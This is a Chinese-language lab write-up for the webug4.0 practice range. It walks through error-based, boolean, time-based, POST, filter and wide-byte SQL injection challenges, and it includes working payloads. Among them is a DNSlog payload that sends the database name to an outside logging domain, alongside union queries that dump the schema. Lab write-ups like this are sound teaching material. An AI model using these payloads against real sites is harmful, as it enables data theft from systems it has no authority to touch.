webug4.0靶场writeup

webug4.0是今年2月份刚更新的一个靶场,全网的wp比较少,我希望能以此来写一份wp,作为大家的参考,同时也让在web安全刚入门的我能有一些能力上的提升。

虚拟机版的靶场下过来后打开 phpstudy 中选择的 php版本可能为 5.2 这会导致问题sql注入第一题不会报错,切换到 php5.4 版本即可正常

sql注入

1.显错注入

本题是很常规的注入,注入点是id,单引号闭合

2.布尔注入

DNSlog平台 http://dnsbin.zhack.ca/#master=5df7f3d5b2bda429cc8d 免注册

看到题目的盲注,就想到试下之前看到的 DNSlog 因为都没接触过类似的解法。但是尝试了下,发现并没有返回数据。然后把到 mysql 中执行测试 load_file 函数,但是返回的是NULL,感觉可能是没有文件读写权限….好吧 看来这题不能用 DNSlog 了,但是为了测试下 DNSlog的效果,我去查了如何设置文件读写权限,得到以下内容。

mysql新版本下具有secure-file-priv参数,用来限制LOAD DATA, SELECT … OUTFILE, LOAD_FILE()传到哪个指定目录。

  • ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
    如何更改secure-file-priv参数的值:
    修改my.ini 文件,在[mysqld] 下加入secure_file_priv=,保存并重启mysql。
    当然在实际渗透测试时,我们是无法修改这里的参数值得,这里仅作为学习时的参考。

最终在mysql的配置文件中加入了 secure_file_priv= 然后再测试 load_file 函数,成功读取到文件内容。

然后再测试 DNSlog
playload如下:http://192.168.65.138/control/sqlinject/bool_injection.php?id=2' and if((select load_file(concat(‘\\\\‘,(select database()),’.409241b53f1692ceddeb.d.zhack.ca\abc’))),1,1)–+

成功回显了数据库名

这题同样没有什么过滤内容,单引号闭合,常规注入就行,手注和或者上脚本都可以,这里就不做演示了。

DNSlog有一点需要注意的就是对长度的限制,所以要使用 limit 来单个读取

3.延时注入

时间盲注,和第二题大致相同

4.POST注入

这题的话有一个搜索框,同样是无过滤的单引号闭合,用 bp 抓到更改 post 数据来注入,但是这题我没有找到回显位,之后我也尝试了报错注入,布尔盲注,时间盲注,但是,得到的结果都是,如果sql语句是正确的,就正常显示。如果sql语句是错误的,就显示错误的sql语句。

所以感觉这题就两个逻辑,sql语句正确,正常显示页面,sql语句错误,显示错误的sql语句….好吧,不知道这么解了,应该是我菜…

真的想不到为什么…看一眼题目源码,发现源码中有提示:

SELECT * FROM sqlinjection WHERE content = '1' or if(1=1, sleep(3),1); --+

好吧 这题这题是要时间盲注,测试了一下,发现我之前的问题出在了连接关键词用了 and ,这里连接词一定要用 or ,不太明白为什么。。那么既然是盲注,直接上脚本就可以了,就不手注演示了。

5.过滤注入

看这题,界面跟上一题post注入一样,就同样测试了下时间盲注,发现并没有遇到过滤。这让我百思不得其解,没有过滤为什么叫过滤注入…看一手源码,看到这源码的过滤,我真水醉了…这也能叫过滤吗…

6.宽字节注入

没有任何过滤,宽字节注入,playload如下:

http://192.168.65.138/control/sqlinject/width_byte_injection.php?id=0%df' union select 1,(select database())--+ 爆库
http://192.168.65.138/control/sqlinject/width_byte_injection.php?id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+  爆表
http://192.168.65.138/control/sqlinject/width_byte_injection.php?id=0%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x73716c696e6a656374696f6e)--+ 爆字段